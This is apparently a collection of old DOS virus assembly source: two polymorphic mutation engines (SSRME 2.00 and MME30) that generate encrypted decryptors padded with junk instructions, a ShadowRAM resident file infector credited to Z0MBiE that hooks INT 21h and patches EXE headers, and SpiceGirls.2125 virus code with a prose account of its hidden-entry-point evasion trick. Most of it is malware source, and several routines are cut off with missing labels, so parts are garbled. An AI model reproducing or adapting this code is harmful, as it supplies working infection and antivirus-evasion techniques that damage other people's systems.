gen_never_executed_code:
push ax
push cx
call SSRME_get_random
rcr al,1 ; Generate a simulated decryptor inst?
jc gen_sim_decr ; Yes? then jmp
and al,7 ; AL in [0..7]
inc al ; AL in [1..8]
mov ah,0
mov cx,ax ; Generate 1 to 8 bytes of shit
cld
l_generate1_8shit:
call SSRME_get_random
stosb
loop l_generate1_8shit
jmp ret_no_exec
nop
gen_sim_decr:
cld
mov al,2Eh ; Generate CS: prefix
stosb
mov al,80h ; byte ptr [bx+si],inm8
stosb
push bx
mov bx,offset(decrypt_inst)
call SSRME_get_random
and ax,7 ; AX in [0..7]
add bx,ax ; Select operation
mov al,cs:[bx+si] ; BUG! Only 4 operations in table, not 8
stosb
call SSRME_get_random ; Generate simulated mask
stosb
call SSRME_get_random ; Generate 2 bytes of shit
stosb
call SSRME_get_random
stosb
pop bx
ret_no_exec:
pop cx
pop ax
ret
select_random_reg:
push bx
push si
push ax
call SSRME_get_random
mov ah,0
and al,7 ; AX in [0..7]
add si,ax
mov al,byte ptr cs:[si+register_table]
mov bx,ax
pop ax
mov al,bl
pop si
pop bx
ret
generate_call_addsp:
cld
push ax
push cx
mov al,0E8h ; Generate CALL xxxx
stosb
push di ; Save offset position
inc di
inc di
call gen_never_executed_code
pop bp ; Restore offset position
mov ax,di ; Calculate jump offset
sub ax,bp
dec ax
dec ax
mov es:[bp],ax ; Store jump offset
mov cx,4
l_shit_csp:
call generate_garbage
loop l_shit_csp
mov ax,0C483h ; Generate ADD SP,2
stosw
mov al,2
stosb
pop cx
pop ax
ret
generate_op_regreg:
cld
push ax
push cx
mov al,66h ; Extended registers
stosb
call SSRME_get_random
rcr al,1 ; Generate XXX reg1,reg2 ?
jc generate_op2bytes ; No? then jmp
call SSRME_get_random
and ax,7 ; AX in [0..7]
mov bx,offset(operation_table)
add bx,ax ; Select operation from table
mov al,cs:[bx+si]
stosb
mov ah,0C0h ; Generate reg source and destination
call select_random_reg
add ah,al
call select_random_reg
mov cl,3
shl al,cl
add ah,al
xchg ah,al
stosb
ret_gen_regreg:
pop cx
pop ax
ret
generate_op2bytes:
call SSRME_get_random
and ax,7 ; AX in [0..7]
shl ax,1 ; AX:=AX*2
mov bx,offset(_2bytes_table)
add bx,ax
mov al,cs:[bx+si] ; Operation
stosb
mov ah,cs:[bx+si+1] ; Select destination register
call select_random_reg
add al,ah
stosb
jmp ret_gen_regreg
generate_jxx:
cld
push cx
push ax
mov ah,70h
call SSRME_get_random
and al,0Fh
add al,ah ; AL in [70h..7Fh] -> Conditional jumps
stosb
push di ; Save offset position
inc di
call generate_call_jmp
pop bp ; Restore offset position
mov ax,di ; Calculate jmp offset
sub ax,bp
dec al
mov es:[bp],al ; Store offset
pop ax
pop cx
ret
generate_int:
cld
push bx
push ax
call SSRME_get_random
and ax,3 ; AX in [0..3]
mov bx,offset(int_table)
add bx,ax
mov al,0CDh ; INT xx
mov ah,cs:[bx+si] ; Get int number
stosw
pop ax
pop bx
ret
get_register_value:
push ax
push bx
cmp al,3 ; BX ?
je get_bx ; Yes? then jmp
cmp al,5 ; BP ?
je get_bp ; Yes? then jmp
cmp al,6 ; SI ?
je get_si ; Yes? then jmp
xor bx,bx ; else DI
jmp get_value
nop
get_bx:
mov bx,4
jmp get_value
nop
get_bp:
mov bx,6
jmp get_value
nop
get_si:
mov bx,2
get_value:
mov dx,word ptr cs:[bx+si+value_registers]
pop bx
pop ax
ret
generate_enc_instruction:
push ax
push bp
mov bp,offset(encrypt_inst)
shl ax,1
shl ax,1
add bp,ax
mov ax,cs:[bp+si] ; Get instruction opcodes
mov cs:[bx+si],ax ; Add to encryptor
mov ax,cs:[bp+si+2] ; opcodes
mov ah,dl ; Add mask
mov cs:[bx+si+2],ax ; Add to encryptor
sub bx,4 ; Next instruction
pop bp
pop ax
ret
generate_dec_instruction:
cld
push ax
push cx
push bx
push bp
mov bx,offset(decrypt_inst)
add bx,ax ; Select instruction
mov al,2Eh ; Generate CS: prefix
stosb
mov ah,cs:[bx+si] ; Get opcode from table
mov al,cs:[si+opindex]
and al,0C7h
add al,ah ; Build operation+reg_index opcode
mov cs:[si+opindex],al
mov cs:[si+_mask],dl
push si
push ds
push cs
pop ds
mov cx,5
add si,offset(decryption_inst)
cld
rep movsb ; Generate instruction
pop ds
pop si
pop bp
pop bx
pop cx
pop ax
ret
db 0Dh,0Ah
db 'THE STAINLESS STEEL RAT MUTATION ENGINE v 2.00 beta'
db 0Dh,0Ah
db '²±°(c) S.S.R. 1996-97°±²',0Dh,0Ah
register_table:
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
value_registers:
value_di dw 0
value_ax dw 0
value_bx dw 0
value_bp dw 0
index_reg db 0
value_index dw 0
ofs_start_dec dw 0
ofs_src dw 0
op_reg_inm_table:
db 81h, 0C0h ; ADD reg,inm
db 81h, 0E8h ; SUB reg,inm
db 81h, 0F8h ; CMP reg,inm
db 81h, 0E0h ; AND reg,inm
db 81h, 0C8h ; OR reg,inm
db 81h, 0F0h ; XOR reg,inm
db 81h, 0F8h ; CMP reg,inm
db 0F7h,0C0h ; TEST reg,inm
_1byte_table:
int 3
aaa
daa
cbw
cwd
aas
das
db 026h ; ES:
db 02Eh ; CS:
db 036h ; SS:
db 03Eh ; DS:
clc
cmc
stc
cld
std
nop
antidisasm_table:
db 066h
db 069h
db 0EAh
db 09Ah
operation_table:
db 1 ; ADD
db 29h ; SUB
db 39h ; CMP
db 21h ; AND
db 9 ; OR
db 31h ; XOR
db 39h ; CMP
db 85h ; TEST
_2bytes_table:
db 0FFh, 0C0h ; INC reg
db 0FFh, 0C8h ; DEC reg
db 0F7h, 0D0h ; NOT reg
db 0D3h, 0E0h ; SHL reg,CL
db 0D3h, 0E8h ; SHR reg,CL
db 0D3h, 0C0h ; ROL reg,CL
db 0F7h, 0D8h ; NEG reg
db 0D3h, 0C8h ; ROR reg,CL
int_table:
db 1 ; int 1
db 3 ; int 3
db 1Ch ; int 1Ch
db 28h ; int 28h
register_combination:
db 3 ; 0 ; BX
db 6 ; SI
db 3 ; 2 ; BX
db 7 ; DI
db 5 ; 4 ; BP
db 6 ; SI
db 5 ; 6 ; BP
db 7 ; DI
db 6 ; 8 ; SI
db 6 ; SI
db 7 ; 10 ; DI
db 7 ; DI
db 5 ; 12 ; BP
db 5 ; BP
db 3 ; 14 ; BX
db 3 ; BX
encrypt_inst:
add byte ptr es:[bx],0
sub byte ptr es:[bx],0
xor byte ptr es:[bx],0
add byte ptr es:[bx],0
decrypt_inst:
db 28h ; SUB
db 0 ; ADD
db 30h ; XOR
db 28h ; SUB
end_ssrme200b:
SSRME200b ends
public ssrme_engine
end
MME30 segment
assume cs:MME30, ds:MME30, es:MME30, ss:MME30
org 0
MME_DEC_SIZE = 1500
SIZE_MME = end_mme - start
mme_engine:
start:
call MME_delta
MME_delta:
pop si
sub si,3 ; Get delta offset
pop ax
push cs
push ax
mov di,100h
push es
mov ax,es
sub ax,10h
mov es,ax
push cx
mov cx,SIZE_MME
nop
push ds
push cs
pop ds
cld
rep movsb ; Copy code to buffer
pop ds
pop cx
mov ax,offset(mme_start)+100h
push es
push ax
retf ; Jump to copy (mme_start)
mme_start:
pop es
mov si,100h
mov ax,es
add ax,(SIZE_MME+15)/16+1
mov es,ax
mov cs:[si+ofs_in_file],bx
mov cs:[si+length_code],cx
mov cs:[si+base_code],dx
cld
mov al,90h ; NOP
xor di,di
mov cx,MME_DEC_SIZE ; Length of decryptor
rep stosb ; Fill with NOPs
xor di,di
cld
more_garbage:
call make_garbage
call get_random
and al,7 ; AL in [0..7]
cmp al,1 ; Generate call?
jne gen_jx? ; No? then jmp
nop
nop
nop
call generate_call
jmp check_garbage_s
nop
gen_jx?:
cmp al,2 ; Generate conditional jump+garbage?
jne check_garbage_s ; No? then jmp
nop
nop
nop
call generate_jx_garbage
check_garbage_s:
cmp di,1000 ; <1000 bytes of garbage?
jb more_garbage ; Yes? then jmp
call get_random
and ax,1Fh ; AX in [0..31]
add ax,1150 ; [1150..1181]: Return from RETF
mov cs:[si+return_retf],ax
push ax
mov ax,0C63Eh ; MOV DS:
stosw
mov al,6 ; [addr16],inm8
stosb
mov ah,0
call get_random
and al,3Fh
add al,0C0h ; AX in [0C0h..0FFh]
mov cs:[si+addr_retf],ax
stosw ; [addr16]:=[0C0h..0FFh]
mov al,0CBh ; inm8:=RETF
stosb ; Generated: mov byte ptr ds:[xxxx],0CBh
call generate_garbage
mov al,0Eh ; Generate PUSH CS
stosb
call generate_garbage
mov al,68h ; Generate PUSH inmediate (ret address)
stosb
pop ax
add ax,cs:[si+ofs_in_file]
stosw ; Return address from retf
call generate_garbage
mov al,1Eh ; Generate PUSH DS
stosb
call generate_garbage
mov al,68h ; Generate PUSH inmediate (to RETF)
stosb
mov ax,cs:[si+addr_retf]
stosw ; Address of runtime generated RETF
call generate_garbage
mov al,0CBh ; Generate RETF (jmp to generated RETF)
stosb
mov cx,cs:[si+return_retf]
sub cx,di ; Fill with garbage to return address
l_more_shit:
call get_random
stosb
loop l_more_shit
call generate_garbage
call get_random
and ax,3 ; AX in [0..3]
mov bp,ax ; Select register index
mov al,byte ptr cs:[bp+si+regop_table]
mov cs:[si+indexop_reg],al
mov ah,byte ptr cs:[bp+si+regop2_table]
and ah,7
mov cs:[si+indexop2_reg],ah
mov al,0C7h ; Generate MOV reg16,inm
; MOV reg_index,start address
stosb
mov al,0C0h
add al,ah ; reg16=(SI or DI)
stosb
mov ax,MME_DEC_SIZE ; Calculate starting address to decrypt
add ax,cs:[si+ofs_in_file]
add ax,cs:[si+length_code]
stosw
call generate_garbage
mov cs:[si+decryptor_ofs],di ; Start decryptor
call generate_encryptor
mov cx,cs:[si+length_code]
add cx,MME_DEC_SIZE ; Code + decryptor
push es
pop ds
xor dx,dx
retf
generate_segmentprefix:
and al,00011000b
add al,26h ; 00h+26h = 26h (ES:)
; 10h+26h = 36h (SS:)
; 08h+26h = 2Eh (CS:)
; 18h+26h = 3Eh (DS:)
stosb
ret
generate_1byteinst:
and ax,0Fh ; AX in [0..15]
mov bp,offset(MME_1byte)
add bp,ax
mov al,cs:[bp+si] ; Generate 1 byte instruction
stosb
ret
generate_reg8reg8:
call generate_toreg8
stosb
call get_random
and al,00111111b ; Allow all registers
add al,11000000b ; Mode 3: Register to Register
stosb
ret
generate_reg8addr16:
call generate_toreg8
stosb
call get_random
and al,00111111b ; Allow all registers
add al,10000000b ; Mode 2: Inmediate 16 bits address
stosb
call get_random ; Generate word
stosb
call get_random
stosb
ret
generate_reg8inm:
mov al,10000000b ; [3 bytes operation]; to reg; 8 bits
stosb
call generate_regop
stosb
call get_random ; Generate inmediate value
stosb
ret
generate_jmpshort:
mov al,0EBh ; Generate JMP xx (short)
stosb
push di
inc di
call generate_shit ; 1 to 8 bytes of shit
pop bp
mov ax,di ; Calculate offset of JMP (skip shit)
sub ax,bp
dec al
mov es:[bp],al ; Store offset
ret
generate_shift8:
and al,00000010b ; 8 bits
add al,11010000b ; [RCL,RCR,ROL,ROR,SHL,SHR,SAL,SAR]
stosb
call generate_regop2
stosb
ret
generate_in:
mov al,0E4h ; Generate IN AL,xx
stosb
call get_random ; Random port
stosb
inc di ; Generate NOP
ret
generate_int1_int3:
mov al,0CDh ; Generate INT xx
stosb
call get_random
rcr al,1 ; Generate int 3?
jc generate_int3 ; Yes? then jmp
nop
nop
nop
mov al,1 ; Generate int 1
jmp store_int
nop
generate_int3:
mov al, 3
store_int:
stosb
ret
generate_movdrx:
mov ax,230Fh ; Generate MOV dr?,extended-register
stosw
call get_random
and al,1Fh
add al,0C0h ; AL in [0C0h..0DFh]
stosb
ret
generate_reg32reg32:
mov al,66h ; Extended register prefix
stosb
call get_random
and al,00111000b ; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP]
add al,00000011b ; to reg; 16 bits
stosb
call get_random
and al,00011111b ; Don't use ESP,EBP,ESI,EDI as dest.
add al,11000000b ; Mode 3: Register to register
stosb
ret
generate_reg32inm32:
mov ax,8166h ; Extended regs; 6 bytes operation
stosw
call get_random
and al,00111011b ; Don't use ESP,EBP,ESI,EDI as dest.
add al,11000000b
stosb
push cx
mov cx,4 ; Generate a double word
l_gen_doubleword:
call get_random
stosb
loop l_gen_doubleword
pop cx
ret
MME_function_table:
dw offset(generate_segmentprefix)
dw offset(generate_1byteinst)
dw offset(generate_reg8reg8)
dw offset(generate_reg8addr16)
dw offset(generate_reg8inm)
dw offset(generate_jmpshort)
dw offset(generate_shift8)
dw offset(generate_in)
dw offset(generate_int1_int3)
dw offset(generate_movdrx)
dw offset(generate_reg32reg32)
dw offset(generate_reg32inm32)
dw offset(generate_reg8reg8)
dw offset(generate_reg8addr16)
dw offset(generate_reg8inm)
dw offset(generate_jmpshort)
get_random:
pushf
push cx
in al,40h ; Get random number
mov cl,al
in al,40h ; Get random number
ror al,cl
xor al,cl
inc al
pop cx
popf
ret
generate_toreg8:
call get_random
and al,00111000b ; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP]
add al,00000010b ; to reg; 8 bits
ret
generate_regop:
call get_random
and al,00111111b ; All registers
add al,11000000b ; Mode 3: Register to register
ret
generate_regop2: ; = generate_regop !!
call get_random
and al,00111111b
add al,11000000b
ret
generate_shit:
push cx
call get_random
and ax,7
inc ax ; AX in [1..8]
mov cx,ax
l_gen_shit:
call get_random
stosb
loop l_gen_shit
pop cx
ret
generate_jx_garbage:
call get_random
and al,0Fh
add al,70h ; AL in [70h..7Fh] Generate conditional jump
ofsret_garbage:
stosb
push di ; Save offset address
inc di
push cx
call get_random
and ax,3
mov cx,ax
inc cx ; CX in [1..4]
l_call_table:
call get_random
mov bx,ax
and bx,7 ; BX in [0..7]
shl bx,1 ; Select garbage function from table
mov bp,word ptr cs:[bx+si+MME_function_table]
call get_random
add bp,si
call bp ; Call garbage funtion
loop l_call_table
pop cx
pop bp
mov ax,di
sub ax,bp
mov es:[bp],al
call get_random
call generate_1byteinst
ret
generate_call:
mov al,0E8h ; CALL
stosb
push di
inc di
inc di ; Space for offset
push cx
call get_random
and ax,3 ; AX in [0..3]
mov cx,ax
inc cx ; CX in [1..4]
l_call_table2:
call get_random
mov bx,ax
and bx,7 ; BX in [0..7]
shl bx,1 ; BX:=BX*2
mov bp,word ptr cs:[bx+si+MME_function_table]
call get_random
add bp,si
call bp ; Call garbage function
loop l_call_table2
pop cx
pop bp
mov ax,di
sub ax,bp
mov es:[bp],ax
mov al,0EBh ; JMP
call ofsret_garbage
dec di
mov al,0C3h ; Generate RET
stosb
ret
make_garbage:
push ax
push bp
push bx
call get_random
and ax,0Fh ; [0..15]
shl ax,1 ; AX:=AX*2
mov bp,ax ; Select garbage funtion
mov bx,word ptr cs:[bp+si+MME_function_table]
add bx,si
call get_random
call bx ; Call garbage table
pop bx
pop bp
pop ax
ret
generate_garbage:
push cx
call get_random
and ax,3 ; AX in [0..3]
inc ax
mov cx,ax ; CX in [1..4]
l_mk_garbage:
call make_garbage
loop l_mk_garbage
pop cx
ret
generate_encryptor:
mov cx,8 ; 8 encryption/decryption instructions
mov bx,offset(first_enc_inst)
l_generate_encryptor:
call get_random
and ax,3 ; AX in [0..3]
mov bp,ax
shl bp,1
shl bp,1 ; BP:=AX*4
call get_random
mov cs:[si+_mask],al ; Generate mask
mov ax,word ptr cs:[bp+si+encrypt_table] ; Encrypt op.
mov cs:[bx+si],ax ; Store it
mov ax,word ptr cs:[bp+si+encrypt_table+2]
mov ah,cs:[si+_mask] ; xxx es:[xx],_mask
mov cs:[bx+si+2],ax
mov ax,word ptr cs:[bp+si+decrypt_table] ; Decrypt op.
stosw ; Store it
mov ax,word ptr cs:[bp+si+decrypt_table+2]
and al,0F8h ; Clear index register
add al,cs:[si+indexop_reg] ; Register index [xx]
mov ah,cs:[si+_mask] ; xxx cs:[xx],_mask
stosw
call generate_garbage
sub bx,4
loop l_generate_encryptor ; and decryptor
push di
mov cx,cs:[si+length_code] ; Bytes to encrypt
mov di,MME_DEC_SIZE ; Destination
mov bp,cs:[si+base_code] ; Source
l_encrypt_code:
mov al,ds:[bp]
mov es:[di],al
db 8*4 dup(90h) ; 8 instructions; 4 bytes each one
first_enc_inst equ $-4
inc di
inc bp
loop l_encrypt_code
pop di
call generate_garbage
mov al,48h ; Generate DEC register index
add al,cs:[si+indexop2_reg]
stosb
call generate_garbage
mov ax,0F881h ; Generate CMP reg index,end decryption
add ah,cs:[si+indexop2_reg]
stosw
mov ax,cs:[si+ofs_in_file]
add ax,MME_DEC_SIZE-1
stosw
mov ax,840Fh ; Generate JE xxxx (JE decrypted code)
stosw
mov ax,MME_DEC_SIZE-2
sub ax,di
stosw
mov al,0E9h ; Generate JMP xxxx (decryptor loop)
stosb
mov ax,cs:[si+decryptor_ofs] ; Start of decryptor
sub ax,di
dec ax
dec ax
stosw
mov cx,MME_DEC_SIZE
sub cx,di ; Fill free space with shit
l_shit:
call get_random
stosb
loop l_shit
ret
encrypt_table:
xor byte ptr es:[di],0
add byte ptr es:[di],0
sub byte ptr es:[di],0
add byte ptr es:[di],0
decrypt_table:
xor byte ptr cs:[di],0
sub byte ptr cs:[di],0
add byte ptr cs:[di],0
sub byte ptr cs:[di],0
ofs_in_file dw 0
base_code dw 0
length_code dw 0
indexop2_reg db 0
return_retf dw 0
_mask db 0
indexop_reg db 0
decryptor_ofs dw 0
addr_retf dw 0
MME_1byte:
cli
cmc
stc
clc
std
cld
aaa
daa
aas
das
sti
cbw
cwd
int 3
db 0F3h ; REP
nop
regop2_table:
db 0FFh ; DI
db 0F6h ; SI
db 0FFh ; DI
db 0F6h ; SI
regop_table:
db 5 ; DI
db 4 ; SI
db 5 ; DI
db 4 ; SI
end_mme:
MME30 ends
public mme_engine
end
include #equ.inc
include #macro.inc
include #struc.inc
include #header.inc
org 100h
start:
jmp tsr_sh
call tsr_sh
xor ax, ax
retf
include rnd.inc
include sh_ram.inc
include tsr_sh.inc
include findR13.inc
include ints.inc
include infect.inc
include hook21.inc
include fuck13.inc
include switch13.inc
include const.inc
include stamms.inc
include var.inc
end start
; - -[#EQU.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
l equ w0
h equ w2
offs equ w0
segm equ w2
; flags
; - -[#MACRO.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
mve macro x, y
push y
pop x
endm
setalc macro
db 0D6h
endm
; - -[#STRUC.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; dta
dta_struc struc
dta_drive db ? ; 0=a,1=b,2=c
dta_name8 db 8 dup (?)
dta_ext3 db 3 dup (?)
dta_searchattr db ?
dta_num dw ? ; 0=. 1=..
dta_dircluster dw ?
dd ? ; unused
dta_attr db ? ; 1=r 32=a 16=d 2=h 4=s 8=v
dta_time dw ? ; çççç第¬ ¬¬¬ááááá
dta_date dw ? ; £££££££¬ ¬¬¬¤¤¤¤¤
dta_size dd ?
dta_name db 13 dup (?)
ends
; exe header
exe_struc struc
exe_mz dw ?
exe_last512 dw ?
exe_num512 dw ?
exe_relnum dw ?
exe_headersize dw ?
exe_minmem dw ?
exe_maxmem dw ?
exe_ss dw ?
exe_sp dw ?
exe_checksum dw ?
exe_ip dw ?
exe_cs dw ?
exe_relofs dw ?
exe_ovrnum dw ?
db 32 dup (?)
exe_neptr dd ?
ends
; sys header
sys_header struc
sys_nextdriver dd ? ; last driver: offset = FFFF
sys_attr dw ?
sys_strategy dw ?
sys_interrupt dw ?
sys_name db 8 dup (?)
ends
; sft
sft_struc struc
sft_handles dw ?
sft_openmode dw ?
sft_attr db ?
sft_flags dw ?
sft_deviceptr dd ?
sft_filecluster dw ?
sft_date dw ?
sft_time dw ?
sft_size dd ?
sft_pos dd ?
sft_lastFclustr dw ?
sft_dirsect dd ?
sft_dirpos db ?
sft_name db 11 dup (?)
sft_chain dd ? ; share.exe
sft_uid dw ? ; share.exe
sft_psp dw ?
sft_mft dw ? ; share.exe
sft_lastclust dw ?
sft_ptr dd ?
ends
; - -[#HEADER.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
.model tpascal
.code
.386p
assume ds:code
locals @@
jumps
; - -[RND.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; output: ax=random(65536)
; zf=rnd(2)
random: push bx
mov bx, 1234h
lastword rndword
in al, 40h
xor bl, al
in al, 40h
add bh, al
in al, 41h
sub bl, al
in al, 41h
xor bh, al
in al, 42h
add bl, al
in al, 42h
sub bh, al
mov cs:rndword, bx
xchg bx, ax
pop bx
test al, 1
ret
; input: ax
; output: ax=random(ax)
; zf=rnd(2)
rnd: push bx
push dx
xchg bx, ax
call random
xor dx, dx
div bx
xchg dx, ax
pop dx
pop bx
test al, 1
ret
; - -[SH_RAM.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
save_sh_state: push cx
inc cx
call cf8_read
mov CS:state_C000, ch
inc cx
call cf8_read
mov CS:state_C800, ch
pop cx
ret
push cx
inc cx
mov ch, 12h
lastbyte state_C000
call cf8_write
inc cx
mov ch, 12h
lastbyte state_C800
call cf8_write
pop cx
ret
disable_sh: push cx
inc cx
mov ch, 00110011b
call cf8_write
inc cx
mov ch, 00110011b
call cf8_write
pop cx
ret
call cf8_main
in al, dx
mov ch, al
pop dx eax
ret
mov al, ch
out dx, al
pop dx eax
ret
add dl, 4
mov al, cl
and al, 11b
add dl, al
ret
; - -[TSR_SH.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
rnd_size equ 66
scan_size equ tsr_size + rnd_size
; <ds=cs>
; <DF=0>
; output: ZF
tsr_sh: push ds es
mve ds, cs
cli
cld
call save_sh_state
call find_real_13
jne @@exit
call scan_C000
je @@ok
IF SCAN_SIZE LE 14*256
call scan_8x14_1
je @@ok
call scan_8x14_2
je @@ok
ENDIF
; ZF=0
ret
@@ok: call disable_sh
add bp, 15
and bp, not 15
shr bp, 4
mov ax, es
add ax, bp
sub ax, 16
mov es, ax
lea di, start
mov my_seg, es
call switch_13
call rest_sh_state
@@exit: pop es ds
ret
xor ax, ax
cmp di, dx
jbe @@2
@@exit: ret
IF SCAN_SIZE LE 14*256
mov ax, es
cmp ax, 0c000h
ret
mov cx, 16
repe scasb
ret
ENDIF
; - -[FINDR13.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; - -[INTS.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
exit_21: db 0eah
old_21 dd ?
call disable_sh
call switch_13
mov cs:save_ax, ax
call rest_sh_state
pushf
db 09Ah
real_13 dd ?
pushf
call disable_sh
call rest_sh_state
popf
retf 2
; - -[INFECT.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
call21: pushf
call cs:old_21
ret
pusha
push ds es
cld
; mov si, dx
; cld
;@@0: mov ah, al
; lodsb
; or al, al
; jnz @@0
; cmp ah, '_'
; jne @@exit
xchg bx, ax
push bx
mov ax, 1220h
int 2Fh
mov bl, es:[di]
mov ax, 1216h
int 2Fh
pop bx
mov es:[di].sft_openmode, 2
mve es, cs
cmp ax, si
jne @@close
cmp dx, di
jne @@close
add ax, 15
adc dx, 0
and al, not 15
sub si, ax
sub header.exe_last512, si
push ax
push dx
shr ax, 4
shl dx, 12
or ax, dx
sub ax, header.exe_headersize
sub ax, 16
mov cx, ax
xchg cx, header.exe_cs
mov save_cs, cx
mov cx, ax
xchg cx, header.exe_ss
mov save_ss, cx
call gen_stamm
@@2: lodsb
xchg dx, ax
mov bp, 8
dec bp
jnz @@3
loop @@2
@@exit: pop es ds
popa
ret
mov cx, 2
@@1: lodsw
xchg di, ax
add di, offset stamm
movsb
lodsw
xchg di, ax
add di, offset stamm
movsd
loop @@1
@@exit: ret
; - -[HOOK21.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
hook_21: pusha
push ds es
xor si, si
mov ds, si
les bx, ds:[si+21h*4]
or bx, bx
jz @@1
mov cs:old_21.offs, bx
mov cs:old_21.segm, es
@@1: pop es ds
popa
ret
; - -[FUCK13.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
analize_13_02: pusha
mov si, bp
mov di, bx
mov di, bx
mov al, 0E5h
stosb
xor ax, ax
mov cx, 31
rep stosb
jmp @@next
popa
ret
; - -[SWITCH13.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
switch_13: push ax si di ds es
lds si, cs:real_13
push 1234h
lastword my_seg
pop es
lea di, EA
inc si
inc di
cmp di, offset EA + 5
jne @@1
pop es ds di si ax
ret
; - -[CONST.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
db 13,10,10
db 'Z0MBiE`'
IF VIR_SIZE GE 1000
db vir_size / 1000 mod 10 + '0'
ENDIF
db vir_size / 100 mod 10 + '0'
db vir_size / 10 mod 10 + '0'
db vir_size / 1 mod 10 + '0'
db ' v1.00 (c) 1997 Z0MBiE',13,10
db 'Tnx to S.S.R.',13,10
db 'ShadowRAM/Virtual Process Infector',13,10
DB 'ShadowRAM Technology (c) 1996,97 Z0MBiE',13,10
; ¯®å¥à¨¬ ¨å ;)
; - -[STAMMS.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
stamm_1:
dw 0015h
db 01eh
dw 0051h
dd 0091e60f1h
dw 00bdh
db 0a3h
dw 00f7h
dd 00b7405fah
stamm_2:
dw 0006h
db 0b4h
dw 0022h
dd 0f1ebf71eh
dw 00b3h
db 080h
dw 00dfh
dd 03d021624h
stamm_3:
dw 0032h
db 01eh
dw 005eh
dd 001b82595h
dw 00c5h
db 033h
dw 00e1h
dd 0b104c9e9h
stamm_4:
dw 003eh
db 0fah
dw 005ah
dd 08b134c0bh
dw 00cdh
db 080h
dw 00f9h
dd 059e0df7fh
stamm_5:
dw 0009h
db 02eh
dw 0025h
dd 0e809e525h
dw 0037h
db 0e8h
dw 0063h
dd 04b02f8a4h
stamm_6:
dw 0009h
db 050h
dw 0025h
dd 000845225h
dw 0043h
db 080h
dw 006fh
dd 003449a4eh
stamm_7:
dw 001ah
db 050h
dw 0046h
dd 0c033cbadh
dw 0085h
db 0a1h
dw 00a1h
dd 0a306fd1bh
stamm_8:
dw 0036h
db 0b8h
dw 0052h
dd 050e0c65bh
dw 00b2h
db 09ch
dw 00deh
dd 08ec9e34eh
stamm_9:
dw 0007h
db 08eh
dw 0023h
dd 002a20883h
dw 00b3h
db 091h
dw 00dfh
dd 00315fe59h
stamms_num equ 9
stamms_max_ip equ 254
; - -[VAR.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
EA db ?
dw ?
my_seg2 dw ?
header exe_struc ?
The viruses use new way to avoid detection - the infected files have no
entry point (start code). The address of entry point in infected files is
out of file body and it is impossible to reach virus code by parsing EXE
header. To realize this method the virus uses several PSP (Program's Segment
Prefix) and EXE header tricks.
The format of virus code is EXE, i.e. the virus as a program is EXE program
with EXE header, relocation table and so on (as a result infected COM files
are of EXE internal format). EXE header fields in virus (initial CS and IP)
are patches so, that entry address points not to file code, but to PSP data
(i.e. out of file). At that address PSP contains RET FAR code that follows
the call to INT 21h handler. So, the virus entry address points to RET FAR
code, and control then will be passed to code that is pointed by stack. To
pass the control to its real entry code the virus has initial stack
registers (SS and SP) in its EXE header and stack data that points to real
entry:
.model tiny
.code
org 100h ; Origin of SpiceGirls.2125
head_begin:
pages_begin:
db 'MZ' ; EXE signature
bytes_on_las dw (pages_end-pages_begin) mod 200h
pages_in_fil dw (pages_end-pages_begin)/200h
dw (relo_end-relo_begin)/04h
dw (head_end-head_begin)/10h
dw 00h,01h ; Minimum-, maximum number of para...
dw 0ffeah,stack_ptr ; Pointer to stack
db 'SG' ; Checksum
dd 0ffea00b2h ; Pointer to service request + 02h
dw relocations-100h ; Offset of relocations - 100h
dw 00h ; Overlay number (main program)
relo_begin:
relocations dd 0ffea0178h,0ffea017ch,0ffea0180h,0ffea0184h,0ffea0188h
dd 0ffea018ch,0ffea0190h,0ffea0194h,0ffea01beh,0ffea01f8h
dd 0ffea0206h,0ffea0218h,0ffea0228h,0ffea025ch,0ffea0272h
relo_end:
db 08h dup(00h)
head_end:
code_begin:
db ' - Spice_Girls.2125 - '
stack_ptr:
dd 07h dup(0ffea00b2h) ; Seven pointers to service reques...
loop decrypt_loop
nop
crypt_begin:
mov cs:[psp_segment],ds ; Store segment of PSP for current...
nop
nop
nop
call find_name
virus_exit:
mov ax,(3000h+'S') ; SpiceGirls.2125 function
nop
db 9ah ; CALL imm32 (opcode 9ah)
dd 0ffea00b0h ; Pointer to service request
call install
eternal_loop:
jc eternal_loop ; Error? Jump to eternal_loop
jmp virus_exit
ret ; Return!
endp
loop move_header
loop move_virus
call correct_relo
loop correct_loop
ret ; Return!
endp
jmp cs:[int21_addr]
endp
jmp_spice_fu:
jmp spice_functi
nop
jmp_exam_fil:
jmp examine_file
jmp_pre_test:
jmp pre_tst_func
spice_functi:
add sp,04h ; Correct stack pointer
popf ; Load flags from stack
mov [file_handle_],'SG'
dec si ; Decrease SI
dec di ; Decrease DI
mov cx,cs:[origin_off] ; CX = offset of original code
move_origin:
lodsb ; AL = byte of original code
stosb ; Store byte of original code
loop move_origin
loop move_origin_
call int24_store
call test_exe_sig
jc infect_exit ; Error? Jump to infect_exit
call tst_filesize
jc infect_exit ; Error? Jump to infect_exit
call infect_file
infect_exit:
mov si,word ptr cs:[name_pointer]
mov ds,word ptr cs:[name_pointer+02h]
call test_infect
jc examin_exit ; Error? Jump to examin_exit
mov ah,cs:[dos_function]
call test_functio
examin_exit:
call int24_load
pop ds es di si bp bx dx cx ax
popf ; Load flags from stack
jmp int21_exit
ret ; Return!
endp
ret ; Return!
examin_exit_:
stc ; Set carry flag
ret ; Return!
endp
ret ; Return!
tst_sig_exit:
